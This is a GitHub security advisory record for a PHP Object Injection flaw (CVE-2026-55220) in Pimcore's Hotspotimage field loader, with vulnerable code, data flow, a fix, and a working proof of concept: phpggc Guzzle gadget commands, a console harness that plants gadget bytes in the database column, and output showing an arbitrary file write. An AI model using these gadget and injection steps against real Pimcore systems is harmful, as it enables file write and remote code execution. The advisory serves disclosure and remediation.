{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2026.1.5"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "pimcore/pimcore"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2026.1.0"
            },
            {
              "fixed": "2026.1.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 12.3.9"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "pimcore/pimcore"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "12.3.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55220"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-28T19:13:25Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\n`Pimcore\\Model\\DataObject\\ClassDefinition\\Data\\Hotspotimage::getDataFromResource()` deserializes the `*__hotspots` object-store column through the `Pimcore\\Tool\\Serialize::unserialize()` wrapper **without a class allowlist** (the wrapper\u0027s `$allowedClasses` parameter defaults to `true`, i.e. fully unrestricted). Because the persistence layer always stores this column as PHP-`serialize()`d bytes, every load of a DataObject that has a Hotspotimage (advanced image) field runs an unrestricted `unserialize()` over the stored column value. An attacker who can write the `*__hotspots` store column with crafted serialized bytes achieves PHP Object Injection (CWE-502): arbitrary classes are instantiated and their magic methods (`__wakeup`/`__destruct`) execute, which is exploitable for remote code execution via gadget chains present in Pimcore\u0027s own bundled dependencies (e.g. `guzzlehttp/guzzle`).\n\nThe same field-data family also affects the sibling marshallers `ImageGallery`, `Block`, and `Video`, which use the identical `json_decode(...) ?: Serialize::unserialize(...)` fallback over their respective store columns. The root cause is shared: `Serialize::unserialize()` defaults to an unrestricted class list, and these callers pass no second argument.\n\n## Severity\n\nHigh. Successful exploitation yields PHP Object Injection leading to remote code execution (proven below as arbitrary file write using a gadget from Pimcore\u0027s bundled `guzzlehttp/guzzle 7.11.0`). This is the deserialization leg of an attack: it requires the ability to write the `*__hotspots` object-store column with attacker-chosen serialized bytes. No class-allowlist defense is present, so any such write is directly weaponizable on the next object load. CVSS-wise this is comparable to other deserialization sinks over attacker-influenceable storage in this codebase.\n\n## Affected component\n\n- File: `models/DataObject/ClassDefinition/Data/Hotspotimage.php`, method `getDataFromResource()`.\n- Vulnerable lines (v2026.1.4 / v12.3.8):\n  ```php\n  $metaData = $data[$this-\u003egetName() . \u0027__hotspots\u0027];\n  // check if the data is JSON (backward compatibility)\n  $md = json_decode($metaData, true);\n  if (!$md) {\n      $md = Serialize::unserialize($metaData);   // unrestricted: allowed_classes defaults to true\n  } elseif (is_array($md)) {\n      $md[\u0027hotspots\u0027] = $md;\n  }\n  ```\n- Root enabler: `lib/Tool/Serialize.php`\n  ```php\n  public static function unserialize(?string $data = null, array|bool $allowedClasses = true): mixed\n  {\n      if ($data === null || $data === \u0027\u0027) { return $data; }\n      return unserialize($data, [\u0027allowed_classes\u0027 =\u003e $allowedClasses]);  // default true = unrestricted\n  }\n  ```\n- Sibling marshallers with the identical fallback shape: `ImageGallery`, `Block`, `Video` (DataObject\\ClassDefinition\\Data).\n- Package: `pimcore/pimcore` (Composer).\n- Affected versions: all currently maintained releases, including the latest `v2026.1.4` and `v12.3.8` (verified against deployed `v2026.1.4`).\n\n## Data flow\n\n1. On save, `Hotspotimage::getDataForResource()` stores the hotspot/marker/crop metadata as `Serialize::serialize($metaData)` into the `\u003cfield\u003e__hotspots` object-store column \u2014 i.e. PHP serialized bytes, not JSON.\n2. On load, `Hotspotimage::getDataFromResource()` reads that column, calls `json_decode()` (which fails for the serialized format), and therefore falls through to `Serialize::unserialize($metaData)` with the default unrestricted class list.\n3. `Serialize::unserialize()` invokes `unserialize($data, [\u0027allowed_classes\u0027 =\u003e true])`, instantiating any class named in the bytes and triggering its magic methods.\n4. The load path is exercised on essentially every object retrieval (admin grid/detail, frontend rendering, Studio/API reads, inheritance walks) for objects whose class declares a Hotspotimage field, with a non-null `\u003cfield\u003e__image`.\n\nThe attacker primitive is the ability to place crafted serialized bytes into the `\u003cfield\u003e__hotspots` store column (for example through an SQL-write/store-write primitive). The defect is that the deserialization is performed with no class allowlist, so any such write is directly executable.\n\n## Proof of Concept\n\nVerified end-to-end against a real, locally deployed Pimcore `v2026.1.4` (Composer skeleton + MariaDB + `pimcore:install`), not a ported stub. The gadget is `phpggc Guzzle/FW1` built against Pimcore\u0027s own bundled `guzzlehttp/guzzle 7.11.0`; its `GuzzleHttp\\Cookie\\FileCookieJar::__destruct` writes an attacker-controlled file to disk (a file-write primitive; the same surface reaches RCE via other vendored gadget chains).\n\nGadget generation (476\u2192474 raw bytes, non-JSON so the `unserialize` fallback is taken):\n```\nprintf \u0027PWNED_BY_DESERIALIZATION_%s\u0027 \"$(date +%s)\" \u003e /tmp/ggc_local_src.txt\n./phpggc Guzzle/FW1 /tmp/pimcore_pwned_hotspot.txt /tmp/ggc_local_src.txt | tr -d \u0027\\n\u0027 \u003e /tmp/ggc_guzzle_fw1.ser\n# stored bytes begin: O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":4:{...\n```\n\nReproduction harness (a Symfony console command living in the deployed app; it creates a real DataObject class with a Hotspotimage field, a real image asset, a real saved object, performs the attacker store-write into `object_store_\u003cid\u003e.img__hotspots`, then reloads the object through the real Pimcore model layer):\n```php\n\u003c?php\ndeclare(strict_types=1);\nnamespace App\\Command;\n\nuse Pimcore\\Db;\nuse Pimcore\\Model\\Asset;\nuse Pimcore\\Model\\DataObject;\nuse Pimcore\\Model\\DataObject\\ClassDefinition;\nuse Symfony\\Component\\Console\\Attribute\\AsCommand;\nuse Symfony\\Component\\Console\\Command\\Command;\nuse Symfony\\Component\\Console\\Input\\InputInterface;\nuse Symfony\\Component\\Console\\Input\\InputOption;\nuse Symfony\\Component\\Console\\Output\\OutputInterface;\n\n#[AsCommand(name: \u0027e2e:hotspot\u0027, description: \u0027E2E CWE-502 Hotspotimage __hotspots unserialize\u0027)]\nfinal class E2eHotspotCommand extends Command\n{\n    protected function configure(): void\n    {\n        $this-\u003eaddOption(\u0027benign\u0027, null, InputOption::VALUE_NONE, \u0027negative control: benign JSON\u0027);\n        $this-\u003eaddOption(\u0027restricted\u0027, null, InputOption::VALUE_NONE, \u0027negative control: allowed_classes=false\u0027);\n    }\n\n    protected function execute(InputInterface $input, OutputInterface $output): int\n    {\n        $o = fn (string $m) =\u003e $output-\u003ewriteln($m);\n        $gadget = (string) file_get_contents(\u0027/tmp/ggc_guzzle_fw1.ser\u0027);\n        $target = \u0027/tmp/pimcore_pwned_hotspot.txt\u0027;\n        @unlink($target);\n\n        $o(\u0027=== STEP 1: create DataObject class with a Hotspotimage field ===\u0027);\n        $class = ClassDefinition::getByName(\u0027E2eHotspot\u0027);\n        if (!$class) {\n            $class = new ClassDefinition();\n            $class-\u003esetName(\u0027E2eHotspot\u0027);\n            $class-\u003esetGroup(\u0027e2e\u0027);\n            $field = new ClassDefinition\\Data\\Hotspotimage();\n            $field-\u003esetName(\u0027img\u0027);\n            $field-\u003esetTitle(\u0027img\u0027);\n            $panel = new ClassDefinition\\Layout\\Panel();\n            $panel-\u003esetName(\u0027Layout\u0027);\n            $panel-\u003eaddChild($field);\n            $class-\u003esetLayoutDefinitions($panel);\n            $class-\u003esave();\n        }\n        $o(\u0027  class id=\u0027 . $class-\u003egetId());\n\n        $o(\u0027=== STEP 2: create image asset (Hotspotimage needs a valid __image id) ===\u0027);\n        $png = base64_decode(\u0027iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg==\u0027);\n        $asset = Asset::getByPath(\u0027/e2e_pixel.png\u0027);\n        if (!$asset) {\n            $asset = new Asset\\Image();\n            $asset-\u003esetFilename(\u0027e2e_pixel.png\u0027);\n            $asset-\u003esetParent(Asset::getById(1));\n            $asset-\u003esetData($png);\n            $asset-\u003esave();\n        }\n        $o(\u0027  asset id=\u0027 . $asset-\u003egetId());\n\n        $o(\u0027=== STEP 3: create+save object carrying that image ===\u0027);\n        $obj = DataObject::getByPath(\u0027/e2e_obj\u0027);\n        if (!$obj) {\n            $fqcn = \u0027\\\\Pimcore\\\\Model\\\\DataObject\\\\\u0027 . $class-\u003egetName();\n            $obj = new $fqcn();\n            $obj-\u003esetKey(\u0027e2e_obj\u0027);\n            $obj-\u003esetParent(DataObject::getById(1));\n            $obj-\u003esetPublished(true);\n            $obj-\u003esetValue(\u0027img\u0027, new DataObject\\Data\\Hotspotimage($asset));\n            $obj-\u003esave();\n        }\n        $objId = $obj-\u003egetId();\n        $store = \u0027object_store_\u0027 . $class-\u003egetId();\n        $o(\u0027  object id=\u0027 . $objId . \u0027  store=\u0027 . $store);\n\n        $o(\u0027=== STEP 4: ATTACKER STORAGE-WRITE into img__hotspots column ===\u0027);\n        $db = Db::get();\n        $payload = $input-\u003egetOption(\u0027benign\u0027)\n            ? json_encode([\u0027hotspots\u0027 =\u003e [], \u0027marker\u0027 =\u003e [], \u0027crop\u0027 =\u003e []])\n            : $gadget;\n        $db-\u003eexecuteStatement(\u0027UPDATE `\u0027 . $store . \u0027` SET `img__hotspots` = ? WHERE oo_id = ?\u0027, [$payload, $objId]);\n        $stored = (string) $db-\u003efetchOne(\u0027SELECT `img__hotspots` FROM `\u0027 . $store . \u0027` WHERE oo_id = ?\u0027, [$objId]);\n        $o(\u0027  stored prefix: \u0027 . substr($stored, 0, 60));\n        $o(\u0027  json_decode(stored) === null ? \u0027 . var_export(json_decode($stored, true) === null, true) . \u0027  (=\u003e unserialize fallback)\u0027);\n\n        $o(\u0027=== STEP 5: clear cache + reload object =\u003e getDataFromResource() ===\u0027);\n        \\Pimcore\\Cache::clearAll();\n        \\Pimcore\\Cache\\RuntimeCache::clear();\n        $o(\u0027  target file before load exists? \u0027 . var_export(file_exists($target), true));\n\n        if ($input-\u003egetOption(\u0027restricted\u0027)) {\n            $o(\u0027  [negative control] fixed wrapper allowed_classes=false on the same bytes\u0027);\n            $res = @unserialize($stored, [\u0027allowed_classes\u0027 =\u003e false]);\n            $o(\u0027  returned type=\u0027 . gettype($res) . \u0027 class=\u0027 . (is_object($res) ? get_class($res) : \u0027n/a\u0027));\n            gc_collect_cycles();\n        } else {\n            try {\n                $reloaded = DataObject\\Concrete::getById($objId, [\u0027force\u0027 =\u003e true]);\n                $reloaded-\u003egetImg(); // triggers Hotspotimage::getDataFromResource() lazy load\n                $o(\u0027  reloaded class=\u0027 . get_class($reloaded));\n                unset($reloaded);\n            } catch (\\Throwable $e) {\n                $o(\u0027  (post-unserialize downstream error, gadget already instantiated): \u0027 . $e-\u003egetMessage());\n            }\n            gc_collect_cycles();\n        }\n\n        $o(\u0027=== RESULT ===\u0027);\n        clearstatcache();\n        if (file_exists($target)) {\n            $o(\u0027  [VULNERABLE] gadget file WRITTEN: \u0027 . $target);\n            $o(\u0027  contents: \u0027 . trim((string) file_get_contents($target)));\n        } else {\n            $o(\u0027  [NOT TRIGGERED] target file absent\u0027);\n        }\n        return Command::SUCCESS;\n    }\n}\n```\n\nCaptured output \u2014 RUN A (positive, gadget):\n```\n=== STEP 1: create DataObject class with a Hotspotimage field ===\n  class id=1\n=== STEP 2: create image asset (Hotspotimage needs a valid __image id) ===\n  asset id=2\n=== STEP 3: create+save object carrying that image ===\n  object id=4  store=object_store_1\n=== STEP 4: ATTACKER STORAGE-WRITE into img__hotspots column ===\n  stored prefix: O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":4:{s:36:\"\\GuzzleHttp\\\n  json_decode(stored) === null ? true  (=\u003e unserialize fallback)\n=== STEP 5: clear cache + reload object =\u003e getDataFromResource() ===\n  target file before load exists? false\n  (post-unserialize downstream error, gadget already instantiated): Cannot use object of type GuzzleHttp\\Cookie\\FileCookieJar as array\n=== RESULT ===\n  [VULNERABLE] gadget file WRITTEN: /tmp/pimcore_pwned_hotspot.txt\n  contents: [{\"Expires\":1,\"Discard\":false,\"Value\":\"PWNED_BY_DESERIALIZATION_1780420803\"}]\n```\n\nCaptured output \u2014 RUN B (negative control, benign JSON in the column):\n```\n=== STEP 4: ATTACKER STORAGE-WRITE into img__hotspots column ===\n  [negative control] storing benign JSON\n  stored prefix: {\"hotspots\":[],\"marker\":[],\"crop\":[]}\n  json_decode(stored) === null ? false  (=\u003e unserialize fallback)\n=== STEP 5: clear cache + reload object =\u003e getDataFromResource() ===\n  target file before load exists? false\n  reloaded class=Pimcore\\Model\\DataObject\\E2eHotspot\n=== RESULT ===\n  [NOT TRIGGERED] target file absent\n```\n\nCaptured output \u2014 RUN C (negative control, the fix: allowed_classes=false over the same gadget bytes):\n```\n=== STEP 4: ATTACKER STORAGE-WRITE into img__hotspots column ===\n  stored prefix: O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":4:{s:36:\"\\GuzzleHttp\\\n  json_decode(stored) === null ? true  (=\u003e unserialize fallback)\n=== STEP 5: clear cache + reload object =\u003e getDataFromResource() ===\n  target file before load exists? false\n  [negative control] fixed wrapper allowed_classes=false on the same bytes\n  returned type=object class=__PHP_Incomplete_Class\n=== RESULT ===\n  [NOT TRIGGERED] target file absent\n```\n\nRUN A shows the attacker bytes drive `unserialize()` to instantiate the `GuzzleHttp\\Cookie\\FileCookieJar` gadget, whose destructor writes an attacker-controlled file. RUN B shows benign JSON takes the safe `json_decode` branch (no deserialization, no file). RUN C shows that performing the same deserialization with an `allowed_classes` allowlist returns an inert `__PHP_Incomplete_Class` and the gadget never runs \u2014 i.e. the proposed fix neutralizes the attack.\n\n## Impact\n\nPHP Object Injection (CWE-502) on object load. With gadget chains available in Pimcore\u0027s bundled dependencies this is exploitable for remote code execution; the PoC demonstrates an attacker-controlled arbitrary file write via the bundled `guzzlehttp/guzzle 7.11.0` `FileCookieJar` chain. Because the `*__hotspots` column is read on virtually every load of an affected object (admin UI, frontend output, API, inheritance resolution), any write of crafted bytes into that column is reliably executed.\n\n## Remediation\n\nMake `Serialize::unserialize()` safe by default and/or pass an explicit class allowlist at the Hotspotimage/ImageGallery/Block/Video callers.\n\nPreferred minimal fix at the wrapper (closes the whole `Serialize::unserialize()`-without-allowlist family in one place):\n```php\npublic static function unserialize(?string $data = null, array|bool $allowedClasses = false): mixed\n```\n(i.e. flip the default to `false`, requiring callers that legitimately need to revive objects to opt in with an explicit allowlist). Alternatively, change each affected marshaller to pass `[\u0027allowed_classes\u0027 =\u003e false]` (or a tight allowlist such as `[MarkerHotspotItem::class]`) explicitly. RUN C above confirms `allowed_classes` deserialization renders the gadget inert. Fix PR (private temporary advisory fork): https://github.com/pimcore/pimcore-ghsa-w23p-wrp7-ch38/pull/1",
  "id": "GHSA-w23p-wrp7-ch38",
  "modified": "2026-08-28T19:13:25Z",
  "published": "2026-08-28T19:13:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pimcore/pimcore/security/advisories/GHSA-w23p-wrp7-ch38"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pimcore/pimcore/pull/19181"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pimcore/pimcore/commit/b184c01bf11e213e601d965b4e96c8bb7248e980"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pimcore/pimcore"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pimcore/pimcore/releases/tag/v12.3.10"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pimcore/pimcore/releases/tag/v2026.1.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Pimcore Hotspotimage getDataFromResource() unrestricted Serialize::unserialize over object-store column (PHP Object Injection, CWE-502)"
}